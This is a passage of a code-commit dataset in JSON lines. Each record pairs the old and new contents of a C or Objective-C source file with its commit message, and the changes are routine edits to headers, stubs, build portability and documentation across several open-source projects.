ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Test\", 1);\n\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Test subsystem loading...\");\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Test subsystem loaded\");\n}\n","subject":"Add global access to test subsystem","message":"Add global access to test subsystem\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"c0cf830770eba3893b0c61317d8772f9e837ddbf","old_file":"Example\/SMPageControl\/SMViewController.h","new_file":"Example\/SMPageControl\/SMViewController.h","old_contents":"\/\/\n\/\/  SMViewController.h\n\/\/  SMPageControl\n\/\/\n\/\/  Created by Jerry Jones on 10\/13\/12.\n\/\/  Copyright (c) 2012 Spaceman Labs. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"SMPageControl.h\"\n\n@interface SMViewController : UIViewController\n\n@property (nonatomic, readonly) IBOutlet UIScrollView *scrollview;\n@property (nonatomic, readonly) IBOutlet UIPageControl *pageControl;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl1;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl2;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl3;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl4;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl5;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl6;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl7;\n@property (nonatomic, readonly) IBOutlet SMPageControl *spacePageControl8;\n\n@end\n","new_contents":"\/\/\n\/\/  SMViewController.h\n\/\/  SMPageControl\n\/\/\n\/\/  Created by Jerry Jones on 10\/13\/12.\n\/\/  Copyright (c) 2012 Spaceman Labs. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"SMPageControl.h\"\n\n@interface SMViewController : UIViewController\n\n@property (nonatomic, weak) IBOutlet UIScrollView *scrollview;\n@property (nonatomic, weak) IBOutlet UIPageControl *pageControl;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl1;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl2;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl3;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl4;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl5;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl6;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl7;\n@property (nonatomic, weak) IBOutlet SMPageControl *spacePageControl8;\n\n@end\n","subject":"Change IBOutlet attributes from readonly to weak","message":"Change IBOutlet attributes from readonly to weak\n\nThis fixes the warning \"readonly IBOutlet property when auto-synthesized may not work correctly with 'nib' loader\".\n\nAlso, weak is better than assign when using weak references to objects, because weak prevents dangling pointers.\n","lang":"C","license":"mit","repos":"doanhkisi\/SMPageControl,CorzFree\/SMPageControl,Spaceman-Labs\/SMPageControl,HelloWilliam\/SMPageControl"}
{"commit":"5ba364466dabf4e4d8809218197b5bd0761db881","old_file":"IntelFrameworkPkg\/Include\/FrameworkDxe.h","new_file":"IntelFrameworkPkg\/Include\/FrameworkDxe.h","old_contents":"\/** @file\r\n  Header file that supports Framework extension to UEFI\/PI for DXE modules.\r\n\r\n  This header file must include Framework extension definitions common to DXE\r\n  modules.\r\n\r\n  Copyright (c) 2007, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n  Module Name:    FrameworkDxe.h\r\n\r\n**\/\r\n\r\n#ifndef _FRAMEWORK_DXE_H_\r\n#define _FRAMEWORK_DXE_H_\r\n\r\n#include <FrameworkPei.h>\r\n\r\n#include <Framework\/DxeCis.h>\r\n\r\n#include <Framework\/FrameworkInternalFormRepresentation.h>\r\n\r\n#endif\r\n","new_contents":"\/** @file\n  Header file that supports Framework extension to UEFI\/PI for DXE modules.\n\n  This header file must include Framework extension definitions common to DXE\n  modules.\n\n  Copyright (c) 2007-2009, Intel Corporation\n  All rights reserved. This program and the accompanying materials\n  are licensed and made available under the terms and conditions of the BSD License\n  which accompanies this distribution.  The full text of the license may be found at\n  http:\/\/opensource.org\/licenses\/bsd-license.php\n\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n**\/\n\n#ifndef _FRAMEWORK_DXE_H_\n#define _FRAMEWORK_DXE_H_\n\n#include <FrameworkPei.h>\n\n#include <Framework\/DxeCis.h>\n\n#include <Framework\/FrameworkInternalFormRepresentation.h>\n\n#endif\n","subject":"Update Copyright. Delete erroneous \"Module Name\" line.","message":"Update Copyright. Delete erroneous \"Module Name\" line.\n\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@8673 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"590ed8f60ad02fe8f1ed66c086c04e3fe4ea29b5","old_file":"src\/lib\/MarbleLocale.h","new_file":"src\/lib\/MarbleLocale.h","old_contents":"\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007      Inge Wallin  <ingwa@kde.org>\n\/\/\n\n\n#ifndef MARBLE_LOCALE_H\n#define MARBLE_LOCALE_H\n\n#include \"marble_export.h\"\n#include \"global.h\"\n\n\nnamespace Marble\n{\n\nclass MarbleLocalePrivate;\n\n\/**\n * @short A class that contains all localization stuff for Marble.\n *\n * The class stores properties like the Distance Unit.\n *\/\n\nclass MARBLE_EXPORT MarbleLocale\n{\n public:\n    MarbleLocale();\n    ~MarbleLocale();\n\n    void setDistanceUnit( DistanceUnit distanceUnit );\n    DistanceUnit distanceUnit() const;\n\n    void setMeasureSystem( MeasureSystem measureSystem );\n    MeasureSystem measureSystem() const;\n\n    static QString languageCode();\n    static QString simpleLanguageCode();\n\n private:\n    Q_DISABLE_COPY( MarbleLocale )\n    MarbleLocalePrivate  * const d;\n};\n\n}\n\n#endif \/\/ MARBLE_LOCALE_H\n","new_contents":"\/\/\n\/\/ This file is part of the Marble Desktop Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2006-2007 Torsten Rahn <tackat@kde.org>\n\/\/ Copyright 2007      Inge Wallin  <ingwa@kde.org>\n\/\/\n\n\n#ifndef MARBLE_LOCALE_H\n#define MARBLE_LOCALE_H\n\n#include \"marble_export.h\"\n#include \"global.h\"\n\n\nnamespace Marble\n{\n\nclass MarbleLocalePrivate;\n\n\/**\n * @short A class that contains all localization stuff for Marble.\n *\n * The class stores properties like the Distance Unit.\n *\/\n\nclass MARBLE_EXPORT MarbleLocale\n{\n public:\n    MarbleLocale();\n    ~MarbleLocale();\n\n    void setDistanceUnit( DistanceUnit distanceUnit );\n    DistanceUnit distanceUnit() const;\n\n    void setMeasureSystem( MeasureSystem measureSystem );\n    MeasureSystem measureSystem() const;\n\n    static QString languageCode();\n\n private:\n    Q_DISABLE_COPY( MarbleLocale )\n    MarbleLocalePrivate  * const d;\n};\n\n}\n\n#endif \/\/ MARBLE_LOCALE_H\n","subject":"Remove simpleLanguageCode (unused and not implemented).","message":"Remove simpleLanguageCode (unused and not implemented).\n\nsvn path=\/trunk\/KDE\/kdeedu\/marble\/; revision=1102505\n","lang":"C","license":"lgpl-2.1","repos":"AndreiDuma\/marble,tucnak\/marble,utkuaydin\/marble,Earthwings\/marble,probonopd\/marble,Earthwings\/marble,adraghici\/marble,AndreiDuma\/marble,AndreiDuma\/marble,utkuaydin\/marble,rku\/marble,probonopd\/marble,oberluz\/marble,probonopd\/marble,AndreiDuma\/marble,rku\/marble,oberluz\/marble,David-Gil\/marble-dev,utkuaydin\/marble,rku\/marble,David-Gil\/marble-dev,adraghici\/marble,Earthwings\/marble,Earthwings\/marble,quannt24\/marble,oberluz\/marble,quannt24\/marble,Earthwings\/marble,AndreiDuma\/marble,rku\/marble,oberluz\/marble,tucnak\/marble,tzapzoor\/marble,tzapzoor\/marble,tzapzoor\/marble,rku\/marble,adraghici\/marble,quannt24\/marble,adraghici\/marble,tzapzoor\/marble,tucnak\/marble,oberluz\/marble,adraghici\/marble,utkuaydin\/marble,probonopd\/marble,tucnak\/marble,rku\/marble,tucnak\/marble,adraghici\/marble,tzapzoor\/marble,utkuaydin\/marble,probonopd\/marble,quannt24\/marble,Earthwings\/marble,tzapzoor\/marble,tzapzoor\/marble,tzapzoor\/marble,tucnak\/marble,tucnak\/marble,quannt24\/marble,AndreiDuma\/marble,quannt24\/marble,David-Gil\/marble-dev,David-Gil\/marble-dev,David-Gil\/marble-dev,oberluz\/marble,utkuaydin\/marble,probonopd\/marble,probonopd\/marble,quannt24\/marble,David-Gil\/marble-dev"}
{"commit":"bcdfda8195e5414119afebb64601f89b37cf04fc","old_file":"src\/ifdhandler.c","new_file":"src\/ifdhandler.c","old_contents":"#include <ifdhandler.h>\n","new_contents":"#include <ifdhandler.h>\n\n#include <stdio.h>\n\nRESPONSECODE IFDHCreateChannelByName(DWORD Lun, LPSTR DeviceName)\n{\n\treturn IFD_NO_SUCH_DEVICE;\n}\n\nRESPONSECODE IFDHCreateChannel(DWORD Lun, DWORD Channel)\n{\n\tchar buf[40];\n\tsnprintf(buf, sizeof(buf), \"\/dev\/o2scr%d\", Channel);\n\treturn IFDHCreateChannelByName(Lun, buf);\n}\n\nRESPONSECODE IFDHCloseChannel(DWORD Lun)\n{\n\treturn IFD_SUCCESS;\n}\n\nRESPONSECODE IFDHGetCapabilities (DWORD Lun, DWORD Tag, PDWORD Length, PUCHAR Value)\n{\n\t\/\/ FIXME\n\t(*Length) = 0;\n\treturn IFD_ERROR_TAG;\n}\n\nRESPONSECODE IFDHSetCapabilities (DWORD Lun, DWORD Tag, DWORD Length, PUCHAR Value)\n{\n\treturn IFD_NOT_SUPPORTED;\n}\n\nRESPONSECODE IFDHPowerICC (DWORD Lun, DWORD Action, PUCHAR Atr, PDWORD AtrLength)\n{\n\treturn IFD_NOT_SUPPORTED;\n}\n\nRESPONSECODE IFDHTransmitToICC (DWORD Lun, SCARD_IO_HEADER SendPci, PUCHAR TxBuffer, DWORD TxLength, PUCHAR RxBuffer, PDWORD RxLength, PSCARD_IO_HEADER RecvPci)\n{\n\treturn IFD_NOT_SUPPORTED;\n}\n\nRESPONSECODE IFDHICCPresence (DWORD Lun)\n{\n\treturn IFD_ICC_NOT_PRESENT;\n}\n\nRESPONSECODE IFDHControl (DWORD Lun, DWORD dwControlCode, PUCHAR TxBuffer, DWORD TxLength, PUCHAR RxBuffer, DWORD RxLength, LPDWORD pdwBytesReturned)\n{\n\treturn IFD_NOT_SUPPORTED;\n}\n\nRESPONSECODE IFDHSetProtocolParameters (DWORD Lun, DWORD Protocol, UCHAR Flags, UCHAR PTS1, UCHAR PTS2, UCHAR PTS3)\n{\n\treturn IFD_NOT_SUPPORTED;\n}\n","subject":"Add empty dummy implementation of ifd handler","message":"Add empty dummy implementation of ifd handler\n\nSigned-off-by: Dmitry Eremin-Solenikov <b6edad08270b2e4ffbcb0879e25a0e29a48c5275@gmail.com>\n","lang":"C","license":"lgpl-2.1","repos":"lumag\/o2scr-ifd"}
{"commit":"5c015c4a0da723ab62abcedc2a861daa1c320a00","old_file":"tutorial\/clock.h","new_file":"tutorial\/clock.h","old_contents":"\/\/ A current_time function for use in the tests.  Returns time in\n\/\/ milliseconds.\n\n#ifdef _WIN32\nextern \"C\" bool QueryPerformanceCounter(uint64_t *);\nextern \"C\" bool QueryPerformanceFrequency(uint64_t *);\ndouble current_time() {\n    uint64_t t, freq;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t * 1000.0) \/ freq;\n}\n#else\n#include <sys\/time.h>\ndouble current_time() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","new_contents":"\/\/ A current_time function for use in the tests.  Returns time in\n\/\/ milliseconds.\n\n#ifdef _WIN32\n#include <Windows.h>\ndouble current_time() {\n    LARGE_INTEGER freq, t;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t.QuadPart * 1000.0) \/ freq.QuadPart;\n}\n\/\/ Gross, these come from Windows.h\n#undef max\n#undef min\n#else\n#include <sys\/time.h>\ndouble current_time() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","subject":"Fix build of tutorials that require libpng under Visual Studio.","message":"Fix build of tutorials that require libpng under Visual Studio.\n\n\nFormer-commit-id: ca864cc2e2063756ba8e48de390d1cf947f2efad","lang":"C","license":"mit","repos":"Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,darkbuck\/Halide,darkbuck\/Halide,darkbuck\/Halide"}
{"commit":"61fbb5891d9dcde973da71de4011ba748948fca1","old_file":"src\/init.c","new_file":"src\/init.c","old_contents":"#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n#include <sys\/wait.h>\n#include \"common.h\"\n\nstatic void  reap(char *argv[]);\nstatic pid_t spawn(char *argv[]);\nextern void  init(char *argv[]);\n\n\nint main(int argc, char *argv[])\n{\n    const char *name = getenv(\"PROCNAME\");\n    if (name && *name)\n        setprocname(name, argv[0]);\n\n    if (getpid() == 1) {\n        \/* parent process *\/\n        reap(argv);\n    } else {\n        \/* child process *\/\n        prepare_env();\n        init(argv + 1);\n    }\n    return 1;\n}\n\nstatic void reap(char *argv[])\n{\n    pid_t child = 0;\n    for (;;) {\n        if (!child)\n            child = spawn(argv);\n\n        pid_t died = wait(NULL);\n        if (died > 0 && died == child)\n            child = 0;\n    }\n}\n\nstatic pid_t spawn(char *argv[])\n{\n    \/* block signals so child process can't wreak havoc for parent *\/\n    sigset_t sigs;\n    sigfillset(&sigs);\n    sigprocmask(SIG_BLOCK, &sigs, 0);\n\n    pid_t pid = fork();\n    if (!pid) {\n        sigprocmask(SIG_UNBLOCK, &sigs, 0);\n        execv(argv[0], argv);\n    }\n\n    return pid;\n}\n","new_contents":"#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <signal.h>\n#include <sys\/wait.h>\n#include \"common.h\"\n\nstatic void  reap(char *argv[]);\nstatic pid_t spawn(char *argv[]);\nextern void  init(char *argv[]);\n\nconst char  *path;\n\n\nint main(int argc, char *argv[])\n{\n    path = strdup(argv[0]);\n    const char *name = getenv(\"PROCNAME\");\n    if (name && *name)\n        setprocname(name, argv[0]);\n\n    if (getpid() == 1) {\n        \/* parent process *\/\n        reap(argv);\n    } else {\n        \/* child process *\/\n        prepare_env();\n        init(argv + 1);\n    }\n    return 1;\n}\n\nstatic void reap(char *argv[])\n{\n    pid_t child = 0;\n    for (;;) {\n        if (!child)\n            child = spawn(argv);\n\n        pid_t died = wait(NULL);\n        if (died > 0 && died == child)\n            child = 0;\n    }\n}\n\nstatic pid_t spawn(char *argv[])\n{\n    \/* block signals so child process can't wreak havoc for parent *\/\n    sigset_t sigs;\n    sigfillset(&sigs);\n    sigprocmask(SIG_BLOCK, &sigs, 0);\n\n    pid_t pid = fork();\n    if (!pid) {\n        sigprocmask(SIG_UNBLOCK, &sigs, 0);\n        execv(path, argv);\n    }\n\n    return pid;\n}\n","subject":"Save program path before doing setprocname().","message":"Save program path before doing setprocname().\n","lang":"C","license":"bsd-2-clause","repos":"Shizmob\/finite"}
{"commit":"c1e16b1a0d2179370ae26c8f567441e6be803294","old_file":"ugeneric.h","new_file":"ugeneric.h","old_contents":"#include \"generic.h\"\n#include \"dict.h\"\n#include \"vector.h\"\n#include \"list.h\"\n#include \"htbl.h\"\n#include \"dsu.h\"\n#include \"heap.h\"\n#include \"bst.h\"\n#include \"sort.h\"\n#include \"heap.h\"\n#include \"queue.h\"\n#include \"mem.h\"\n#include \"bitmap.h\"\n#include \"string_utils.h\"\n#include \"file_utils.h\"\n","new_contents":"#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#include \"generic.h\"\n#include \"dict.h\"\n#include \"vector.h\"\n#include \"list.h\"\n#include \"htbl.h\"\n#include \"dsu.h\"\n#include \"heap.h\"\n#include \"bst.h\"\n#include \"sort.h\"\n#include \"heap.h\"\n#include \"queue.h\"\n#include \"mem.h\"\n#include \"bitmap.h\"\n#include \"string_utils.h\"\n#include \"file_utils.h\"\n\n#if defined(__cplusplus)\n}\n#endif\n","subject":"Add a little bit of c++ awareness to the main header","message":"Add a little bit of c++ awareness to the main header\n","lang":"C","license":"mit","repos":"vslapik\/ugeneric,vslapik\/ugeneric,vslapik\/ugeneric"}
{"commit":"a91d1e7ba1332bad5a735c067c487ab0c9d0eb9d","old_file":"src\/laco.h","new_file":"src\/laco.h","old_contents":"#ifndef __LACO_H\n#define __LACO_H\n\nstruct lua_State;\n\n\/* State of laco REPL *\/\nstruct LacoState;\n\n\/**\n * Makes a new LacoState.\n *\n * param          argument count (argc)\n * param          arguments      (argv)\n *\n * return a pointer to new LacoState.\n *\/\nstruct LacoState* laco_newLacoState(int, const char**);\n\n\/**\n * Destroys the internal variable, but doesn't try to free the LacoState\n * pointer itself.\n *\n * param          pointer to LacoState\n *\n * return 1 if pointer isn't NULL\n *\/\nint laco_destroyLacoState(struct LacoState*);\n\nstruct lua_State* laco_getLacoLuaState(struct LacoState*);\n\nconst char* laco_getLacoVersion(struct LacoState*);\n\nconst char** laco_getLacoArgs(struct LacoState*);\n\nint laco_getLacoStatus(struct LacoState*);\nvoid laco_setLacoStatus(struct LacoState*, int);\n\n#endif \/* __LACO_H *\/\n","new_contents":"#ifndef __LACO_H\n#define __LACO_H\n\nstruct lua_State;\n\n\/* State of laco REPL *\/\nstruct LacoState;\n\n\/**\n * Makes a new LacoState.\n *\n * param          argument count (argc)\n * param          arguments      (argv)\n *\n * return a pointer to new LacoState.\n *\/\nstruct LacoState* laco_newLacoState(int, const char**);\n\n\/**\n * Destroys the internal variable, but doesn't try to free the LacoState\n * pointer itself.\n *\n * param          pointer to LacoState\n *\n * return 1 if pointer isn't NULL\n *\/\nint laco_destroyLacoState(struct LacoState*);\n\n\/**\n * Gets the lua state held with laco.\n *\n * param          pointer to LacoState\n *\n * return a pointer to lua_State\n *\/\nstruct lua_State* laco_getLacoLuaState(struct LacoState*);\n\n\/**\n * Gets the laco version held with laco.\n *\n * param          pointer to LacoState\n *\n * return a string of characters representing laco's version number\n *\/\nconst char* laco_getLacoVersion(struct LacoState*);\n\n\/**\n * Gets the arraying of arguments passed to laco.\n *\n * param          pointer to LacoState\n *\n * return an array of characters string passes into laco\n *\/\nconst char** laco_getLacoArgs(struct LacoState*);\n\n\/**\n * Get the current status of the laco repl.\n *\n * param          pointer to LacoState\n *\n * return the current status of laco\n *\/\nint laco_getLacoStatus(struct LacoState*);\n\n\/**\n * Set the current status of laco.\n *\n * param          pointer to LacoState\n * param          status to be set\n *\/\nvoid laco_setLacoStatus(struct LacoState*, int);\n\n#endif \/* __LACO_H *\/\n","subject":"Add documentation for new get and set functions","message":"Add documentation for new get and set functions\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"8e280cced6657669e8f47b19ee22f587ff91b721","old_file":"Wikipedia\/Code\/WMFRelatedSearchResults.h","new_file":"Wikipedia\/Code\/WMFRelatedSearchResults.h","old_contents":"#import <Foundation\/Foundation.h>\n@class MWKSearchResult;\n\n@interface WMFRelatedSearchResults : NSObject\n\n@property (nonatomic, strong, readonly) NSURL *siteURL;\n@property (nonatomic, strong, readonly) NSArray<MWKSearchResult *> *results;\n\n- (instancetype)initWithURL:(NSURL *)URL results:(NSArray *)results;\n\n@end\n","new_contents":"#import <Mantle\/Mantle.h>\n@class MWKSearchResult;\n\n@interface WMFRelatedSearchResults : MTLModel\n\n@property (nonatomic, strong, readonly) NSURL *siteURL;\n@property (nonatomic, strong, readonly) NSArray<MWKSearchResult *> *results;\n\n- (instancetype)initWithURL:(NSURL *)URL results:(NSArray *)results;\n\n@end\n","subject":"Make search results storable in database as metadata","message":"Make search results storable in database as metadata\n\nJust need to inherit from MTLModel for NSCoding\n","lang":"C","license":"mit","repos":"anirudh24seven\/wikipedia-ios,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,anirudh24seven\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios"}
{"commit":"7fb9042a91ebeeb34a622f73ff61c9feef891e8b","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*\n * Copyright 2015, Wink Saville\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\/\n\n#include <sel4\/printf.h>\n\n\/**\n * No parameters are passed to main, the return\n * value is ignored and the program hangs.\n *\/\nint main(void) {\n  seL4_Printf(\"Hello, World!\\n\");\n\n  return 0;\n}\n","new_contents":"\/*\n * Copyright 2015, Wink Saville\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\/\n\n#include <sel4\/printf.h>\n\n\/**\n * No parameters are passed to main, the return\n * value is ignored and the program hangs.\n *\/\nint main(void) {\n    seL4_Printf(\"Hello, World!\\n\");\n\n    return 0;\n}\n","subject":"Change indent to 4 spaces.","message":"Change indent to 4 spaces.\n","lang":"C","license":"bsd-2-clause","repos":"winksaville\/sel4-app-helloworld"}
{"commit":"7e3576d2e120fb69cc360c976341bf5491bbb633","old_file":"src\/port.h","new_file":"src\/port.h","old_contents":"\/\/ Copyright 2013 by Tetsuo Kiso\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef FAST_ALIGN_PORT_H_\n#define FAST_ALIGN_PORT_H_\n\n\/\/ As of OS X 10.9, it looks like C++ TR1 headers are removed from the\n\/\/ search paths. Instead, we can include C++11 headers.\n#if defined(__APPLE__) && MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_9\n#include <unordered_map>\n#include <functional>\n#else \/\/ Assuming older OS X, Linux or similar platforms\n#include <tr1\/unordered_map>\n#include <tr1\/functional>\nnamespace std {\nusing tr1::unordered_map;\nusing tr1::hash;\n} \/\/ namespace std\n#endif\n\n#endif \/\/ FAST_ALIGN_PORT_H_\n","new_contents":"\/\/ Copyright 2013 by Tetsuo Kiso\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef FAST_ALIGN_PORT_H_\n#define FAST_ALIGN_PORT_H_\n\n\/\/ As of OS X 10.9, it looks like C++ TR1 headers are removed from the\n\/\/ search paths. Instead, we can include C++11 headers.\n#if defined(__APPLE__)\n#include <AvailabilityMacros.h>\n#endif\n\n#if defined(__APPLE__) && defined(MAC_OS_X_VERSION_10_9) && \\\n  MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_9\n#include <unordered_map>\n#include <functional>\n#else \/\/ Assuming older OS X, Linux or similar platforms\n#include <tr1\/unordered_map>\n#include <tr1\/functional>\nnamespace std {\nusing tr1::unordered_map;\nusing tr1::hash;\n} \/\/ namespace std\n#endif\n\n#endif \/\/ FAST_ALIGN_PORT_H_\n","subject":"Include the OS X specific header to use OS specific macros.","message":"Include the OS X specific header to use OS specific macros.\n","lang":"C","license":"apache-2.0","repos":"clab\/fast_align,spanishdict\/fast_align,LoreDema\/fast_align,clab\/fast_align,christianbuck\/fast_align,LoreDema\/fast_align,spanishdict\/fast_align,christianbuck\/fast_align"}
{"commit":"51f8c2e766d7d7110e073630b6a1885eb7d7cabc","old_file":"bst.c","new_file":"bst.c","old_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\nBST* BST_Create(void)\n{\n\tBST* T = (BST* )malloc(sizeof(BST));\n\tT->root = NULL;\n\treturn T;\n}\n\n","new_contents":"#include \"bst.h\"\n\nstatic void BST_Transplant(BST* T, BSTNode* u, BSTNode* v);\n\nstruct BSTNode\n{\n\tBSTNode* left;\n\tBSTNode* right;\n\tBSTNode* p;\n\tvoid* k;\n};\n\nstruct BST\n{\n\tBSTNode* root;\n};\n\nBST* BST_Create(void)\n{\n\tBST* T = (BST* )malloc(sizeof(BST));\n\tT->root = NULL;\n\treturn T;\n}\n\nBSTNode* BSTNode_Create(void* k)\n{\n\tBSTNode* n = (BSTNode* )malloc(sizeof(BSTNode));\n\tn->left = NULL;\n\tn->right = NULL;\n\tn->p = NULL;\n\tn->k = k;\n}\n\n","subject":"Add BSTNode create function implementation","message":"Add BSTNode create function implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
